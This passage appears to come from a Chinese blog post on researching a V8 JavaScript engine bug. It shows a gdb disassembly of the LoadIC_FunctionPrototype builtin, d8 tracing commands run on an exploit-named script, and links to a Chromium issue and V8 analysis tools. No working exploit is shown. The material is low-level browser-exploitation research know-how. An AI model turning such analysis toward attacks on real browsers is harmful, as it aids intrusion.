10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
gef➤  job 0x00002b71080e33d9
0x2b71080e33d9: [Code] in ReadOnlySpace
- map: 0x2b7108042621 <Map>
kind = BUILTIN
name = LoadIC_FunctionPrototype
compiler = turbofan
address = 0x2b71080e33d9

Trampoline (size = 4)
0x2b71080e3418 0 cc int3l
0x2b71080e3419 1 cc int3l
0x2b71080e341a 2 cc int3l
0x2b71080e341b 3 cc int3l

Instructions (size = 1220)
0x7fdaddccee60 0 55 push rbp
0x7fdaddccee61 1 4889e5 REX.W movq rbp,rsp
0x7fdaddccee64 4 6a1c push 0x1c
0x7fdaddccee66 6 4883ec38 REX.W subq rsp,0x38
0x7fdaddccee6a a 4989e2 REX.W movq r10,rsp
0x7fdaddccee6d d 4883ec08 REX.W subq rsp,0x8
0x7fdaddccee71 11 4883e4f0 REX.W andq rsp,0xf0
0x7fdaddccee75 15 4c891424 REX.W movq [rsp],r10
0x7fdaddccee79 19 488955f0 REX.W movq [rbp-0x10],rdx
0x7fdaddccee7d 1d 488975d0 REX.W movq [rbp-0x30],rsi
0x7fdaddccee81 21 48895dd8 REX.W movq [rbp-0x28],rbx
0x7fdaddccee85 25 488945e0 REX.W movq [rbp-0x20],rax
0x7fdaddccee89 29 48894de8 REX.W movq [rbp-0x18],rcx
0x7fdaddccee8d 2d 488bfa REX.W movq rdi,rdx
0x7fdaddccee90 30 4c8bc6 REX.W movq r8,rsi
0x7fdaddccee93 33 be8c000000 movl rsi,0x8c
0x7fdaddccee98 38 4c8bca REX.W movq r9,rdx
0x7fdaddccee9b 3b 498b9540130000 REX.W movq rdx,[r13+0x1340] (root (builtins_constants_table))
0x7fdaddcceea2 42 8b92f7090000 movl rdx,[rdx+0x9f7]
0x7fdaddcceea8 48 4903d5 REX.W addq rdx,r13
0x7fdaddcceeab 4b 498b8568150000 REX.W movq rax,[r13+0x1568] (external reference (check_object_type))
0x7fdaddcceeb2 52 40f6c40f testb rsp,0xf
0x7fdaddcceeb6 56 7401 jz 0x7fdaddcceeb9 (LoadIC_FunctionPrototype)
0x7fdaddcceeb8 58 cc int3l
0x7fdaddcceeb9 59 4c8d1500000000 REX.W leaq r10,[rip+0x0]
0x7fdaddcceec0 60 4d895528 REX.W movq [r13+0x28] (external value (IsolateData::fast_c_call_caller_pc_address)),r10
0x7fdaddcceec4 64 49896d20 REX.W movq [r13+0x20] (external value (IsolateData::fast_c_call_caller_fp_address)),rbp
0x7fdaddcceec8 68 ffd0 call rax
0x7fdaddcceeca 6a 49c7452000000000 REX.W movq [r13+0x20] (external value (IsolateData::fast_c_call_caller_fp_address)),0x0
0x7fdaddcceed2 72 488b2424 REX.W movq rsp,[rsp]
0x7fdaddcceed6 76 4989e2 REX.W movq r10,rsp
0x7fdaddcceed9 79 4883ec08 REX.W subq rsp,0x8
0x7fdaddcceedd 7d 4883e4f0 REX.W andq rsp,0xf0
0x7fdaddcceee1 81 4c891424 REX.W movq [rsp],r10
0x7fdaddcceee5 85 498b9540130000 REX.W movq rdx,[r13+0x1340] (root (builtins_constants_table))
0x7fdaddcceeec 8c 8b92fb090000 movl rdx,[rdx+0x9fb]
0x7fdaddcceef2 92 4903d5 REX.W addq rdx,r13
0x7fdaddcceef5 95 bec8000000 movl rsi,0xc8
0x7fdaddcceefa 9a 488b7de8 REX.W movq rdi,[rbp-0x18]
0x7fdaddcceefe 9e 498b8568150000 REX.W movq rax,[r13+0x1568] (external reference (check_object_type))
0x7fdaddccef05 a5 40f6c40f testb rsp,0xf
0x7fdaddccef09 a9 7401 jz 0x7fdaddccef0c (LoadIC_FunctionPrototype)
0x7fdaddccef0b ab cc int3l
0x7fdaddccef0c ac 4c8d1500000000 REX.W leaq r10,[rip+0x0]
0x7fdaddccef13 b3 4d895528 REX.W movq [r13+0x28] (external value (IsolateData::fast_c_call_caller_pc_address)),r10
0x7fdaddccef17 b7 49896d20 REX.W movq [r13+0x20] (external value (IsolateData::fast_c_call_caller_fp_address)),rbp
0x7fdaddccef1b bb ffd0 call rax
0x7fdaddccef1d bd 49c7452000000000 REX.W movq [r13+0x20] (external value (IsolateData::fast_c_call_caller_fp_address)),0x0
0x7fdaddccef25 c5 488b2424 REX.W movq rsp,[rsp]
0x7fdaddccef29 c9 4989e2 REX.W movq r10,rsp
0x7fdaddccef2c cc 4883ec08 REX.W subq rsp,0x8
0x7fdaddccef30 d0 4883e4f0 REX.W andq rsp,0xf0
0x7fdaddccef34 d4 4c891424 REX.W movq [rsp],r10
0x7fdaddccef38 d8 498b9540130000 REX.W movq rdx,[r13+0x1340] (root (builtins_constants_table))
0x7fdaddccef3f df 8b92ff090000 movl rdx,[rdx+0x9ff]
0x7fdaddccef45 e5 4903d5 REX.W addq rdx,r13
0x7fdaddccef48 e8 be02000000 movl rsi,0x2
0x7fdaddccef4d ed 488b7de0 REX.W movq rdi,[rbp-0x20]
0x7fdaddccef51 f1 498b8568150000 REX.W movq rax,[r13+0x1568] (external reference (check_object_type))
0x7fdaddccef58 f8 40f6c40f testb rsp,0xf
0x7fdaddccef5c fc 7401 jz 0x7fdaddccef5f (LoadIC_FunctionPrototype)
0x7fdaddccef5e fe cc int3l
0x7fdaddccef5f ff 4c8d1500000000 REX.W leaq r10,[rip+0x0]
0x7fdaddccef66 106 4d895528 REX.W movq [r13+0x28] (external value (IsolateData::fast_c_call_caller_pc_address)),r10
0x7fdaddccef6a 10a 49896d20 REX.W movq [r13+0x20] (external value (IsolateData::fast_c_call_caller_fp_address)),rbp
0x7fdaddccef6e 10e ffd0 call rax
0x7fdaddccef70 110 49c7452000000000 REX.W movq [r13+0x20] (external value (IsolateData::fast_c_call_caller_fp_address)),0x0
0x7fdaddccef78 118 488b2424 REX.W movq rsp,[rsp]
0x7fdaddccef7c 11c 4989e2 REX.W movq r10,rsp
0x7fdaddccef7f 11f 4883ec08 REX.W subq rsp,0x8
0x7fdaddccef83 123 4883e4f0 REX.W andq rsp,0xf0
0x7fdaddccef87 127 4c891424 REX.W movq [rsp],r10
0x7fdaddccef8b 12b 498b9540130000 REX.W movq rdx,[r13+0x1340] (root (builtins_constants_table))
0x7fdaddccef92 132 8b92030a0000 movl rdx,[rdx+0xa03]
0x7fdaddccef98 138 4903d5 REX.W addq rdx,r13
0x7fdaddccef9b 13b be50000000 movl rsi,0x50
0x7fdaddccefa0 140 488b7dd8 REX.W movq rdi,[rbp-0x28]
0x7fdaddccefa4 144 498b8568150000 REX.W movq rax,[r13+0x1568] (external reference (check_object_type))
0x7fdaddccefab 14b 40f6c40f testb rsp,0xf
0x7fdaddccefaf 14f 7401 jz 0x7fdaddccefb2 (LoadIC_FunctionPrototype)
0x7fdaddccefb1 151 cc int3l
0x7fdaddccefb2 152 4c8d1500000000 REX.W leaq r10,[rip+0x0]
0x7fdaddccefb9 159 4d895528 REX.W movq [r13+0x28] (external value (IsolateData::fast_c_call_caller_pc_address)),r10
0x7fdaddccefbd 15d 49896d20 REX.W movq [r13+0x20] (external value (IsolateData::fast_c_call_caller_fp_address)),rbp
0x7fdaddccefc1 161 ffd0 call rax
0x7fdaddccefc3 163 49c7452000000000 REX.W movq [r13+0x20] (external value (IsolateData::fast_c_call_caller_fp_address)),0x0
0x7fdaddccefcb 16b 488b2424 REX.W movq rsp,[rsp]
0x7fdaddccefcf 16f 4989e2 REX.W movq r10,rsp
0x7fdaddccefd2 172 4883ec08 REX.W subq rsp,0x8
0x7fdaddccefd6 176 4883e4f0 REX.W andq rsp,0xf0
0x7fdaddccefda 17a 4c891424 REX.W movq [rsp],r10
0x7fdaddccefde 17e 498b9540130000 REX.W movq rdx,[r13+0x1340] (root (builtins_constants_table))
0x7fdaddccefe5 185 8b92070a0000 movl rdx,[rdx+0xa07]
0x7fdaddccefeb 18b 4903d5 REX.W addq rdx,r13
0x7fdaddccefee 18e be40010000 movl rsi,0x140
0x7fdaddcceff3 193 488b7dd0 REX.W movq rdi,[rbp-0x30]
0x7fdaddcceff7 197 498b8568150000 REX.W movq rax,[r13+0x1568] (external reference (check_object_type))
0x7fdaddcceffe 19e 40f6c40f testb rsp,0xf
0x7fdaddccf002 1a2 7401 jz 0x7fdaddccf005 (LoadIC_FunctionPrototype)
0x7fdaddccf004 1a4 cc int3l
0x7fdaddccf005 1a5 4c8d1500000000 REX.W leaq r10,[rip+0x0]
0x7fdaddccf00c 1ac 4d895528 REX.W movq [r13+0x28] (external value (IsolateData::fast_c_call_caller_pc_address)),r10
0x7fdaddccf010 1b0 49896d20 REX.W movq [r13+0x20] (external value (IsolateData::fast_c_call_caller_fp_address)),rbp
0x7fdaddccf014 1b4 ffd0 call rax
0x7fdaddccf016 1b6 49c7452000000000 REX.W movq [r13+0x20] (external value (IsolateData::fast_c_call_caller_fp_address)),0x0
0x7fdaddccf01e 1be 488b2424 REX.W movq rsp,[rsp]
0x7fdaddccf022 1c2 488b4df0 REX.W movq rcx,[rbp-0x10]
0x7fdaddccf026 1c6 8b79ff movl rdi,[rcx-0x1]
0x7fdaddccf029 1c9 4903fd REX.W addq rdi,r13
0x7fdaddccf02c 1cc 4989e2 REX.W movq r10,rsp
0x7fdaddccf02f 1cf 4883ec08 REX.W subq rsp,0x8
0x7fdaddccf033 1d3 4883e4f0 REX.W andq rsp,0xf0
0x7fdaddccf037 1d7 4c891424 REX.W movq [rsp],r10
0x7fdaddccf03b 1db 48897dc0 REX.W movq [rbp-0x40],rdi
0x7fdaddccf03f 1df 498b9540130000 REX.W movq rdx,[r13+0x1340] (root (builtins_constants_table))
0x7fdaddccf046 1e6 8b523f movl rdx,[rdx+0x3f]
0x7fdaddccf049 1e9 4903d5 REX.W addq rdx,r13
0x7fdaddccf04c 1ec bec0000000 movl rsi,0xc0
0x7fdaddccf051 1f1 4c8bc7 REX.W movq r8,rdi
0x7fdaddccf054 1f4 4c8bca REX.W movq r9,rdx
0x7fdaddccf057 1f7 4c8bde REX.W movq r11,rsi
0x7fdaddccf05a 1fa 498b8568150000 REX.W movq rax,[r13+0x1568] (external reference (check_object_type))
0x7fdaddccf061 201 40f6c40f testb rsp,0xf
0x7fdaddccf065 205 7401 jz 0x7fdaddccf068 (LoadIC_FunctionPrototype)
0x7fdaddccf067 207 cc int3l
0x7fdaddccf068 208 4c8d1500000000 REX.W leaq r10,[rip+0x0]
0x7fdaddccf06f 20f 4d895528 REX.W movq [r13+0x28] (external value (IsolateData::fast_c_call_caller_pc_address)),r10
0x7fdaddccf073 213 49896d20 REX.W movq [r13+0x20] (external value (IsolateData::fast_c_call_caller_fp_address)),rbp
0x7fdaddccf077 217 ffd0 call rax
0x7fdaddccf079 219 49c7452000000000 REX.W movq [r13+0x20] (external value (IsolateData::fast_c_call_caller_fp_address)),0x0
0x7fdaddccf081 221 488b2424 REX.W movq rsp,[rsp]
0x7fdaddccf085 225 488b7dc0 REX.W movq rdi,[rbp-0x40]
0x7fdaddccf089 229 0fb64f09 movzxbl rcx,[rdi+0x9]
0x7fdaddccf08d 22d 49ba0000000001000000 REX.W movq r10,0x100000000
0x7fdaddccf097 237 4c3bd1 REX.W cmpq r10,rcx
0x7fdaddccf09a 23a 770a ja 0x7fdaddccf0a6 (LoadIC_FunctionPrototype)
0x7fdaddccf09c 23c 33d2 xorl rdx,rdx
0x7fdaddccf09e 23e b202 movb dl,2
0x7fdaddccf0a0 240 e85bc70c00 call 0x7fdaddd9b800 (Abort)
0x7fdaddccf0a5 245 cc int3l
0x7fdaddccf0a6 246 48894dc8 REX.W movq [rbp-0x38],rcx
0x7fdaddccf0aa 24a f6c180 testb rcx,0x80
0x7fdaddccf0ad 24d 0f84ef010000 jz 0x7fdaddccf2a2 (LoadIC_FunctionPrototype)
0x7fdaddccf0b3 253 4989e2 REX.W movq r10,rsp
0x7fdaddccf0b6 256 4883ec08 REX.W subq rsp,0x8
0x7fdaddccf0ba 25a 4883e4f0 REX.W andq rsp,0xf0
0x7fdaddccf0be 25e 4c891424 REX.W movq [rsp],r10
0x7fdaddccf0c2 262 498b9540130000 REX.W movq rdx,[r13+0x1340] (root (builtins_constants_table))
0x7fdaddccf0c9 269 8b523f movl rdx,[rdx+0x3f]
0x7fdaddccf0cc 26c 4903d5 REX.W addq rdx,r13
0x7fdaddccf0cf 26f bec0000000 movl rsi,0xc0
0x7fdaddccf0d4 274 498b8568150000 REX.W movq rax,[r13+0x1568] (external reference (check_object_type))
0x7fdaddccf0db 27b 40f6c40f testb rsp,0xf
0x7fdaddccf0df 27f 7401 jz 0x7fdaddccf0e2 (LoadIC_FunctionPrototype)
0x7fdaddccf0e1 281 cc int3l
0x7fdaddccf0e2 282 4c8d1500000000 REX.W leaq r10,[rip+0x0]
0x7fdaddccf0e9 289 4d895528 REX.W movq [r13+0x28] (external value (IsolateData::fast_c_call_caller_pc_address)),r10
0x7fdaddccf0ed 28d 49896d20 REX.W movq [r13+0x20] (external value (IsolateData::fast_c_call_caller_fp_address)),rbp
0x7fdaddccf0f1 291 ffd0 call rax
0x7fdaddccf0f3 293 49c7452000000000 REX.W movq [r13+0x20] (external value (IsolateData::fast_c_call_caller_fp_address)),0x0
0x7fdaddccf0fb 29b 488b2424 REX.W movq rsp,[rsp]
0x7fdaddccf0ff 29f f645c801 testb [rbp-0x38],0x1
0x7fdaddccf103 2a3 0f85b0010000 jnz 0x7fdaddccf2b9 (LoadIC_FunctionPrototype)
0x7fdaddccf109 2a9 488b4df0 REX.W movq rcx,[rbp-0x10]
0x7fdaddccf10d 2ad 8b791b movl rdi,[rcx+0x1b]
0x7fdaddccf110 2b0 4903fd REX.W addq rdi,r13
0x7fdaddccf113 2b3 4989e2 REX.W movq r10,rsp
0x7fdaddccf116 2b6 4883ec08 REX.W subq rsp,0x8
0x7fdaddccf11a 2ba 4883e4f0 REX.W andq rsp,0xf0
0x7fdaddccf11e 2be 4c891424 REX.W movq [rsp],r10
0x7fdaddccf122 2c2 48897dc8 REX.W movq [rbp-0x38],rdi
0x7fdaddccf126 2c6 be06000000 movl rsi,0x6
0x7fdaddccf12b 2cb 498b9540130000 REX.W movq rdx,[r13+0x1340] (root (builtins_constants_table))
0x7fdaddccf132 2d2 8b523f movl rdx,[rdx+0x3f]
0x7fdaddccf135 2d5 4903d5 REX.W addq rdx,r13
0x7fdaddccf138 2d8 488bc7 REX.W movq rax,rdi
0x7fdaddccf13b 2db 4c8bc6 REX.W movq r8,rsi
0x7fdaddccf13e 2de 498b8568150000 REX.W movq rax,[r13+0x1568] (external reference (check_object_type))
0x7fdaddccf145 2e5 40f6c40f testb rsp,0xf
0x7fdaddccf149 2e9 7401 jz 0x7fdaddccf14c (LoadIC_FunctionPrototype)
0x7fdaddccf14b 2eb cc int3l
0x7fdaddccf14c 2ec 4c8d1500000000 REX.W leaq r10,[rip+0x0]
0x7fdaddccf153 2f3 4d895528 REX.W movq [r13+0x28] (external value (IsolateData::fast_c_call_caller_pc_address)),r10
0x7fdaddccf157 2f7 49896d20 REX.W movq [r13+0x20] (external value (IsolateData::fast_c_call_caller_fp_address)),rbp
0x7fdaddccf15b 2fb ffd0 call rax
0x7fdaddccf15d 2fd 49c7452000000000 REX.W movq [r13+0x20] (external value (IsolateData::fast_c_call_caller_fp_address)),0x0
0x7fdaddccf165 305 488b2424 REX.W movq rsp,[rsp]
0x7fdaddccf169 309 488b45c8 REX.W movq rax,[rbp-0x38]
0x7fdaddccf16d 30d 41398598000000 cmpl [r13+0x98] (root (the_hole_value)),rax
0x7fdaddccf174 314 0f8456010000 jz 0x7fdaddccf2d0 (LoadIC_FunctionPrototype)
0x7fdaddccf17a 31a 8b78ff movl rdi,[rax-0x1]
0x7fdaddccf17d 31d 4903fd REX.W addq rdi,r13
0x7fdaddccf180 320 4989e2 REX.W movq r10,rsp
0x7fdaddccf183 323 4883ec08 REX.W subq rsp,0x8
0x7fdaddccf187 327 4883e4f0 REX.W andq rsp,0xf0
0x7fdaddccf18b 32b 4c891424 REX.W movq [rsp],r10
0x7fdaddccf18f 32f 48897df0 REX.W movq [rbp-0x10],rdi
0x7fdaddccf193 333 bec0000000 movl rsi,0xc0
0x7fdaddccf198 338 498b9540130000 REX.W movq rdx,[r13+0x1340] (root (builtins_constants_table))
0x7fdaddccf19f 33f 8b523f movl rdx,[rdx+0x3f]
0x7fdaddccf1a2 342 4903d5 REX.W addq rdx,r13
0x7fdaddccf1a5 345 488bcf REX.W movq rcx,rdi
0x7fdaddccf1a8 348 498b8568150000 REX.W movq rax,[r13+0x1568] (external reference (check_object_type))
0x7fdaddccf1af 34f 40f6c40f testb rsp,0xf
0x7fdaddccf1b3 353 7401 jz 0x7fdaddccf1b6 (LoadIC_FunctionPrototype)
0x7fdaddccf1b5 355 cc int3l
0x7fdaddccf1b6 356 4c8d1500000000 REX.W leaq r10,[rip+0x0]
0x7fdaddccf1bd 35d 4d895528 REX.W movq [r13+0x28] (external value (IsolateData::fast_c_call_caller_pc_address)),r10
0x7fdaddccf1c1 361 49896d20 REX.W movq [r13+0x20] (external value (IsolateData::fast_c_call_caller_fp_address)),rbp
0x7fdaddccf1c5 365 ffd0 call rax
0x7fdaddccf1c7 367 49c7452000000000 REX.W movq [r13+0x20] (external value (IsolateData::fast_c_call_caller_fp_address)),0x0
0x7fdaddccf1cf 36f 488b2424 REX.W movq rsp,[rsp]
0x7fdaddccf1d3 373 488b4df0 REX.W movq rcx,[rbp-0x10]
0x7fdaddccf1d7 377 41398dc0000000 cmpl [r13+0xc0] (root (meta_map)),rcx
0x7fdaddccf1de 37e 7409 jz 0x7fdaddccf1e9 (LoadIC_FunctionPrototype)
0x7fdaddccf1e0 380 488b45c8 REX.W movq rax,[rbp-0x38]
0x7fdaddccf1e4 384 488be5 REX.W movq rsp,rbp
0x7fdaddccf1e7 387 5d pop rbp
0x7fdaddccf1e8 388 c3 retl
0x7fdaddccf1e9 389 4989e2 REX.W movq r10,rsp
0x7fdaddccf1ec 38c 4883ec08 REX.W subq rsp,0x8
0x7fdaddccf1f0 390 4883e4f0 REX.W andq rsp,0xf0
0x7fdaddccf1f4 394 4c891424 REX.W movq [rsp],r10
0x7fdaddccf1f8 398 498b9540130000 REX.W movq rdx,[r13+0x1340] (root (builtins_constants_table))
0x7fdaddccf1ff 39f 8b923b070000 movl rdx,[rdx+0x73b]
0x7fdaddccf205 3a5 4903d5 REX.W addq rdx,r13
0x7fdaddccf208 3a8 488b7dc8 REX.W movq rdi,[rbp-0x38]
0x7fdaddccf20c 3ac bec0000000 movl rsi,0xc0
0x7fdaddccf211 3b1 498b8568150000 REX.W movq rax,[r13+0x1568] (external reference (check_object_type))
0x7fdaddccf218 3b8 40f6c40f testb rsp,0xf
0x7fdaddccf21c 3bc 7401 jz 0x7fdaddccf21f (LoadIC_FunctionPrototype)
0x7fdaddccf21e 3be cc int3l
0x7fdaddccf21f 3bf 4c8d1500000000 REX.W leaq r10,[rip+0x0]
0x7fdaddccf226 3c6 4d895528 REX.W movq [r13+0x28] (external value (IsolateData::fast_c_call_caller_pc_address)),r10
0x7fdaddccf22a 3ca 49896d20 REX.W movq [r13+0x20] (external value (IsolateData::fast_c_call_caller_fp_address)),rbp
0x7fdaddccf22e 3ce ffd0 call rax
0x7fdaddccf230 3d0 49c7452000000000 REX.W movq [r13+0x20] (external value (IsolateData::fast_c_call_caller_fp_address)),0x0
0x7fdaddccf238 3d8 488b2424 REX.W movq rsp,[rsp]
0x7fdaddccf23c 3dc 488b4dc8 REX.W movq rcx,[rbp-0x38]
0x7fdaddccf240 3e0 8b790f movl rdi,[rcx+0xf]
0x7fdaddccf243 3e3 4903fd REX.W addq rdi,r13
0x7fdaddccf246 3e6 4989e2 REX.W movq r10,rsp
0x7fdaddccf249 3e9 4883ec08 REX.W subq rsp,0x8
0x7fdaddccf24d 3ed 4883e4f0 REX.W andq rsp,0xf0
0x7fdaddccf251 3f1 4c891424 REX.W movq [rsp],r10
0x7fdaddccf255 3f5 48897df0 REX.W movq [rbp-0x10],rdi
0x7fdaddccf259 3f9 be06000000 movl rsi,0x6
0x7fdaddccf25e 3fe 498b9540130000 REX.W movq rdx,[r13+0x1340] (root (builtins_constants_table))
0x7fdaddccf265 405 8b523f movl rdx,[rdx+0x3f]
0x7fdaddccf268 408 4903d5 REX.W addq rdx,r13
0x7fdaddccf26b 40b 488bc7 REX.W movq rax,rdi
0x7fdaddccf26e 40e 498b8568150000 REX.W movq rax,[r13+0x1568] (external reference (check_object_type))
0x7fdaddccf275 415 40f6c40f testb rsp,0xf
0x7fdaddccf279 419 7401 jz 0x7fdaddccf27c (LoadIC_FunctionPrototype)
0x7fdaddccf27b 41b cc int3l
0x7fdaddccf27c 41c 4c8d1500000000 REX.W leaq r10,[rip+0x0]
0x7fdaddccf283 423 4d895528 REX.W movq [r13+0x28] (external value (IsolateData::fast_c_call_caller_pc_address)),r10
0x7fdaddccf287 427 49896d20 REX.W movq [r13+0x20] (external value (IsolateData::fast_c_call_caller_fp_address)),rbp
0x7fdaddccf28b 42b ffd0 call rax
0x7fdaddccf28d 42d 49c7452000000000 REX.W movq [r13+0x20] (external value (IsolateData::fast_c_call_caller_fp_address)),0x0
0x7fdaddccf295 435 488b2424 REX.W movq rsp,[rsp]
0x7fdaddccf299 439 488b45f0 REX.W movq rax,[rbp-0x10]
0x7fdaddccf29d 43d e942ffffff jmp 0x7fdaddccf1e4 (LoadIC_FunctionPrototype)
0x7fdaddccf2a2 442 498b9540130000 REX.W movq rdx,[r13+0x1340] (root (builtins_constants_table))
0x7fdaddccf2a9 449 8b9233070000 movl rdx,[rdx+0x733]
0x7fdaddccf2af 44f 4903d5 REX.W addq rdx,r13
0x7fdaddccf2b2 452 e8e9c50c00 call 0x7fdaddd9b8a0 (AbortCSAAssert)
0x7fdaddccf2b7 457 cc int3l
0x7fdaddccf2b8 458 cc int3l
0x7fdaddccf2b9 459 498b9540130000 REX.W movq rdx,[r13+0x1340] (root (builtins_constants_table))
0x7fdaddccf2c0 460 8b9237070000 movl rdx,[rdx+0x737]
0x7fdaddccf2c6 466 4903d5 REX.W addq rdx,r13
0x7fdaddccf2c9 469 e8d2c50c00 call 0x7fdaddd9b8a0 (AbortCSAAssert)
0x7fdaddccf2ce 46e cc int3l
0x7fdaddccf2cf 46f cc int3l
0x7fdaddccf2d0 470 488b6d00 REX.W movq rbp,[rbp+0x0]
0x7fdaddccf2d4 474 498b9de0260000 REX.W movq rbx,[r13+0x26e0] (external reference (Runtime::LoadIC_Miss))
0x7fdaddccf2db 47b b804000000 movl rax,0x4
0x7fdaddccf2e0 480 4c8b542428 REX.W movq r10,[rsp+0x28]
0x7fdaddccf2e5 485 4c89542440 REX.W movq [rsp+0x40],r10
0x7fdaddccf2ea 48a 4c8b542448 REX.W movq r10,[rsp+0x48]
0x7fdaddccf2ef 48f 4c89542428 REX.W movq [rsp+0x28],r10
0x7fdaddccf2f4 494 4c8b542430 REX.W movq r10,[rsp+0x30]
0x7fdaddccf2f9 499 4c89542448 REX.W movq [rsp+0x48],r10
0x7fdaddccf2fe 49e 4c8b542420 REX.W movq r10,[rsp+0x20]
0x7fdaddccf303 4a3 4c89542438 REX.W movq [rsp+0x38],r10
0x7fdaddccf308 4a8 4c8b542418 REX.W movq r10,[rsp+0x18]
0x7fdaddccf30d 4ad 4c89542430 REX.W movq [rsp+0x30],r10
0x7fdaddccf312 4b2 488b742410 REX.W movq rsi,[rsp+0x10]
0x7fdaddccf317 4b7 4883c428 REX.W addq rsp,0x28
0x7fdaddccf31b 4bb e9e0732b00 jmp 0x7fdaddf86700 (CEntry_Return1_DontSaveFPRegs_ArgvOnStack_NoBuiltinExit)
0x7fdaddccf320 4c0 90 nop
0x7fdaddccf321 4c1 0f1f00 nop

可能会用到的一些trace

1
2
3
4
5
./d8 --allow-natives-syntax --prof --trace-ic --print-bytecode exp.js
tools/linux-tick-processor out.gn/x64.debug/v8.log
tools/ic-processor out.gn/x64.debug/v8.log
./d8 --allow-natives-syntax --log-maps --trace-ic --log-code exp.js

这里 找到了一个很酷的工具

Reference

https://bugs.chromium.org/p/chromium/issues/detail?id=1203122

https://zhuanlan.zhihu.com/p/427975235

https://cloud.tencent.com/developer/news/750000

https://v8.dev/blog/system-analyzer

https://v8.github.io/tools/head/system-analyzer/

https://docs.google.com/document/d/1mEhMn7dbaJv68lTAvzJRCQpImQoO6NZa61qRimVeA-k/edit#